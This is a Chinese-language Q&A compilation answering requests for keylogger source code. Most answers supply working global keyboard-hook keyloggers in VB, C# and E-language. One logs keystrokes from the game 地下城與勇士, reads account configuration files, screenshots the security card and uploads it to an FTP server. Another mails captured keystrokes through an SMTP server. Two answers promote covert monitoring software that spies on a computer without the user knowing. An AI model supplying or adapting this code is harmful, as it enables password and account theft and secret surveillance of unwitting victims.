鍵盤記錄源碼
1. 高手進,求一個鍵盤記錄程序源代碼,最好是用VB或C語言寫的,其它語言編寫的也行。謝謝各位
VB還是不難的。創建一個窗體,加上兩個text1,2 '在窗體中 Private Sub Form_Load() hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0) End Sub Private Sub Form_Unload(Cancel As Integer) UnhookWindowsHookEx hHook End Sub '在模塊中 Option Explicit Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long) Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const WH_KEYBOARD = 2 Public Const WH_KEYBOARD_LL = 13 Public Const HC_ACTION = 0 Public Const HC_SYSMODALOFF = 5 Public Const HC_SYSMODALON = 4 Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_SYSKEYDOWN = &H104 Public Const WM_SYSKEYUP = &H105 Public Const WM_SYSCHAR = &H106 Public Const WM_SYSCOMMAND = &H112 Public Type KEYMSGS vKey As Long '虛擬碼 (and &HFF) sKey As Long '掃描碼 flag As Long '鍵按下:128 抬起:0 time As Long 'Window運行時間 End Type Public keyMsg As KEYMSGS '鍵盤消息 Public hHook As Long '創建的鉤子的句柄 Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Dim lKey As Long Dim strKeyName As String * 255 Dim strLen As Long If idHook = HC_ACTION Then CopyMemory keyMsg, lParam, LenB(keyMsg) Select Case wParam Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP '判斷是否為鍵盤消息 lKey = keyMsg.sKey And &HFF '掃描碼 lKey = lKey * 65536 '將掃描碼左移16位,使位0~15置0 If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then strLen = GetKeyNameText(lKey, strKeyName, 250) '獲取該按鍵的名稱 Else strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24為增強型鍵盤上的擴展位 End If Form1.Text1.Text = keyMsg.vKey '將按鍵存放到text1中,當然你修改可以自己改這里。 Form1.Text2.Text = Left(strKeyName, strLen) End Select End If CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一個鉤子 End Function
2. 用C#做鍵盤敲擊次數記錄求代碼
以下是整理源碼。
static int hKeyboardHook = 0; //鍵盤鉤子句柄
public const int WH_KEYBOARD_LL = 13; //處理鍵盤消息
private const int WM_KEYDOWN = 0x100;//鍵盤按下
//聲明鍵盤鉤子事件類型.
HookProc KeyboardHookProcere;
//聲明鍵盤鉤子的封送結構類型
[StructLayout(LayoutKind.Sequential)]
public class KeyboardHookStruct
{
public int vkCode; //表示一個在1到254間的虛似鍵盤碼
}
//裝置鉤子的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下鉤子的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
//下一個鉤掛的函數
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
[DllImport("user32")]
public static extern int ToAscii(int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState);
[DllImport("user32")]
public static extern int GetKeyboardState(byte[] pbKeyState);
[DllImport("kernel32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]
private static extern IntPtr GetMoleHandle(string lpMoleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的鍵
public List<Keys> preKeys = new List<Keys>();
int b;
//析構函數.
~Form1()
{
Stop();
}
public void Start()
{
//安裝鍵盤鉤子
if (hKeyboardHook == 0)
{
KeyboardHookProcere = new HookProc(KeyboardHookProc);
Process curProcess = Process.GetCurrentProcess();//獲取新的 Process 組件並將其與當前活動的進程關聯
ProcessMole curMole = curProcess.MainMole;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcere, GetMoleHandle(curMole.MoleName), 0);
if (hKeyboardHook == 0)
{
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
b = 0;
}
}
public void Stop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//如果卸下鉤子失敗
if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed.");
}
int num = 0;//記錄次數
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (wParam == WM_KEYDOWN)
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
preKeys.Add(keyData);
num++;
label1.Text = Convert.ToString(num);
b = 1;
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
private void Form1_Load(object sender, EventArgs e)
{
Start();
}
3. 易語言鍵盤記錄源碼問題。
用模塊搞這些東西簡單多了, FindWindowA是查找窗口句柄,返回0說明進程結束, IsWindow判斷窗口句柄是否有效, GetAsyncKeyState(鍵代碼)返回-32767表示測試鍵按下,可用循環監視鍵盤按下,做記錄用。鍵盤記錄方法很多,但是一般放到號軟體會加密
4. 易語言編寫鍵盤記錄器 源碼 說的詳細點
.程序集
窗口程序集1
.程序集變數
鉤子,
類_鉤子
.子程序
__啟動窗口_創建完畢
模塊注冊
()
.子程序
_按鈕1_被單擊
.局部變數
返回,
邏輯型
返回
=
鉤子_安裝鍵盤鉤子
(&鍵盤介面,
0)
信息框
(「全局鉤子已經安裝成功!」,
0,
「提示」)
編輯框1.內容
=
「」
.子程序
鍵盤介面,
邏輯型
.參數
虛擬鍵碼,
整數型
.參數
掃描鍵碼,
整數型
.參數
鍵盤彈起,
邏輯型
.判斷開始
(鍵盤彈起)
.默認
編輯框1.加入文本
(取鍵名
(掃描鍵碼))
.判斷結束
返回
(真)
.子程序
_按鈕2_被單擊
鉤子.卸載所有鉤子
()
.子程序
__啟動窗口_將被銷毀
_啟動窗口.銷毀
()
如果認為不詳細,留下郵箱,我把代碼傳給你
5. 本地鍵盤記錄源碼(易語言的)
您說的這個也許是太麻煩了。
鍵盤記錄器,我使用的是電腦監控專家。
電腦監控專家不僅可以記錄所有的鍵盤輸入,進行QQ聊天,MSN聊天記錄的查看和上網監控,並且對電腦屏幕進行定時拷屏,對打開窗口和瀏覽的網站進行記錄。
你還可以禁止打開指定的窗口和程序、禁止運行聊天軟體,下載軟體(迅雷、BT等)和游戲軟體等。如果嘗試打開或運行這些被你禁止的窗口和程序會被立即關閉並記錄下來。
另外,軟體還可以把所有監控的信息(鍵盤輸入記錄,屏幕截圖等)發送到你指定的郵箱,讓你輕松實現網路監控。本軟體安裝後,不留任何痕跡,並且採用熱鍵啟動的辦法,讓你在神不知,鬼不覺的情況下監控你想監控的電腦。
這款軟體你覺得怎麼樣,如果覺得可以你現在就可以在網路上搜索電腦監控專家然後下載試用。
6. 易語言做鍵盤記錄器的源碼
易語言做鍵盤記錄器的源碼如下:
程序集
窗口程序集1
子程序
__啟動窗口_創建完畢
SkinH_Attach
()
編輯框1禁止
=
真
停止按鈕禁止
=
真
信息框
(「歡迎使用小天鍵盤記錄系統,在關閉此記錄系統後,會自動保存記錄的內容到運行目錄!」,
#信息圖標,
「歡迎使用!」)
子程序
_停止按鈕_被單擊
開始按鈕禁止
=
假
編輯框1禁止
=
真
時鍾1時鍾周期
=
0
停止按鈕禁止
=
真
子程序
_開始按鈕_被單擊
開始按鈕禁止
=
真
編輯框1禁止
=
假
時鍾1時鍾周期
=
50
停止按鈕禁止
=
假
子程序
_時鍾1_周期事件
編輯框1加入文本
(看看按鍵
())
子程序
_按鈕1_被單擊
編輯框1內容
=
「
」
子程序
__啟動窗口_可否被關閉,
邏輯型
寫到文件
(取運行目錄
()
+
「\記錄內容txt」,
到位元組集
(編輯框1內容))
銷毀
()
子程序
_按鈕2_被單擊
刪除文件
(取運行目錄
()
+
「\記錄內容txt」)
7. 鍵盤記錄器源代碼
'模塊部分
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$()
Sub ints() '初始化數據
appStr = "從" & Now & "開始鍵盤記錄如下..." & vbCrLf
SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl"
pos1 = Split(SBUF, "|"): ReDim pos2$(256)
For i = 0 To UBound(pos1) - 1
pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1)
Next
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr & pos2(mymsg.vKey) & " "
End If 'FOR循環和判斷結構完全去掉了,取而代之的是一個已經定義好的對應數組
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'窗體部分
Private Sub form_Load()
KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "鍵盤記錄"
Mole1.ints '初始化數據
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then End
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook) '程序退出時
Open "D:\getkey.txt" For Append As #1 '打開文本
Print #1, Mole1.appStr '一次性記錄
Print #1, "到" & Now() & "結束!" & vbCrLf
Close #1
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyEscape Then Unload Me
End Sub
8. 求大神給個易語言鍵盤記錄器源碼、
要一個 鍵盤記錄_模塊.ec 易語言的控制項有一個編輯框,2個按鈕,3個時鍾!!3個時鍾的名字要改一下「判斷開始記錄」 「記錄鍵盤」 「結束檢查時鍾」
.版本 2
.程序集 窗口程序集1
.程序集變數 數組, 文本型, , "0"
.程序集變數 記事本, 文本型
.程序集變數 記錄文本, 文本型
.程序集變數 賬號信息, 文本型
.程序集變數 文件名, 文本型
.程序集變數 FTP路徑, 文本型
.程序集變數 路徑, 文本型
.子程序 _按鈕2_被單擊
判斷開始記錄.時鍾周期 = 1000
記錄鍵盤.時鍾周期 = 0
結束檢查時鍾.時鍾周期 = 0
.子程序 _判斷開始記錄_周期事件
.子程序 _記錄鍵盤_周期事件
記錄文本 = 記事本 + 獲得按鍵 ()
.子程序 __周期事結束檢查時鍾_周期事件
.局部變數 a, 整數型
a = 0
數組=取所有窗口列表()
.計次循環首 (取數組成員數 (數組),已經運行)
.如果(尋找文本(取窗口標題(到整數(數組[已經運行])),「地下城與勇士」,,真)< 0)
a = 1
.否則
a = 0
跳出循環 ()
.如果結束
.計次循環尾 ()
.如果真 (a = 1)
記錄鍵盤.時鍾周期=0
讀賬號信息()
記錄文本 = 「」
判斷開始記錄.時鍾周期=1000
結束檢查時鍾.時鍾周期=0
.如果真結束
.子程序 讀賬號信息
.局部變數 賬號, 文本型
.局部變數 區, 文本型
區 = 讀配置項 (路徑 + 「UserSetting.ini」, 「ServerSelection」, 「LastSelectName」, )
賬號 = 讀配置項 (路徑 + 「config/Info.ini」, 「Public」, 「LastQQUin」, )
編輯框1.內容 = 區 + 「----」 + 賬號 + 「-----」 + 記錄文本 + #換行符
.子程序 取進程路徑, 文本型
.子程序 _按鈕1_被單擊
.局部變數 截取密保卡, 位元組型
截取密保卡 = 快照 (, , )
寫到文件 (「D\DNF\1.jpg」, 截取密保卡)
.如果(連接FTP伺服器(「FTP控制項IP地址」,「FTP賬號」,「FTP密碼」,21,)=真)
信息框 (「FTP伺服器連接成功」, 0, )
.否則
信息框 (「FTP伺服器連接失敗」, 0, )
返回 ()
.如果結束
FTP路徑=FTP取現行目錄()+「/123.jpg」
.如果(FTP文件上傳(「D\DNF\1.jpg」,「DNF\520.jpg」)=真)
信息框 (「FTP文件上傳成功」, 0, 「恭喜」)
.否則
信息框 (「FTP文件上傳失敗」, 0, 「注意」)
.如果結束
斷開FTP伺服器()
9. 鍵盤記錄器的源碼
這個我不會。
監控鍵盤記錄,我使用的是電腦監控專家。
1、電腦監控專家可以將電腦操作過中的所有步驟和細節以郵件方式或者實時截圖方式並保存在指定的文件夾中;
2、不論是電腦中文件使用編輯,應用程序或軟體使用進程還是操作時的每一個步驟;
3、不論是鍵盤上的每一個文字元號輸入,還是桌面屏幕上的每一個聊天窗口或瀏覽網頁,所有這些活動都將在文件中一一再現 。
你可以到網路上搜索電腦監控專家下載試用解決您的這個問題。
10. 求易語言 鍵盤記錄源碼並自動發送到郵箱
.版本
2
.支持庫
spec
.支持庫
internet.程序集
窗口程序集1
.程序集變數
鉤子,
類_鉤子.子程序
__啟動窗口_創建完畢時鍾1.時鍾周期
=
1000
.子程序
_按鈕1_被單擊
.局部變數
返回,
邏輯型返回
=
鉤子_安裝鍵盤鉤子
(&鍵盤介面,
0)
編輯框1.內容
=
「」
.子程序
鍵盤介面
.參數
虛擬鍵碼,
整數型
.參數
掃描鍵碼,
整數型
.參數
鍵盤彈起,
邏輯型.判斷開始
(鍵盤彈起).默認
編輯框1.加入文本
(取鍵名
(掃描鍵碼)).判斷結束
.子程序
_時鍾1_周期事件.如果
(時鍾1.時鍾周期
≠
0)
_按鈕1_被單擊
()
時鍾1.時鍾周期
=
0.否則
延遲
(10000)
連接發信伺服器
(「smtp.qq.com」,
,
「[email protected]」,
「123123」,
)
'
假設我的密碼是123123
發送郵件
(「鍵盤記錄器」,
編輯框1.內容,
「[email protected]」,
,
,
「[email protected]」,
).如果結束
.子程序
_按鈕2_被單擊鉤子.卸載所有鉤子
()
信息框
(「卸載成功」,
#信息圖標,
「提示:」)
_啟動窗口.銷毀
()
.子程序
_按鈕3_被單擊通用對話框1.打開
()
寫到文件
(「記錄文件」,
到位元組集
(編輯框1.內容)) ==========================代碼如上============================團隊的補充
2011-09-05
20:55
希望你的加入,一同學習,共同進步具體:
http://wenwen.soso.com/z/q316069690.htm謝謝採納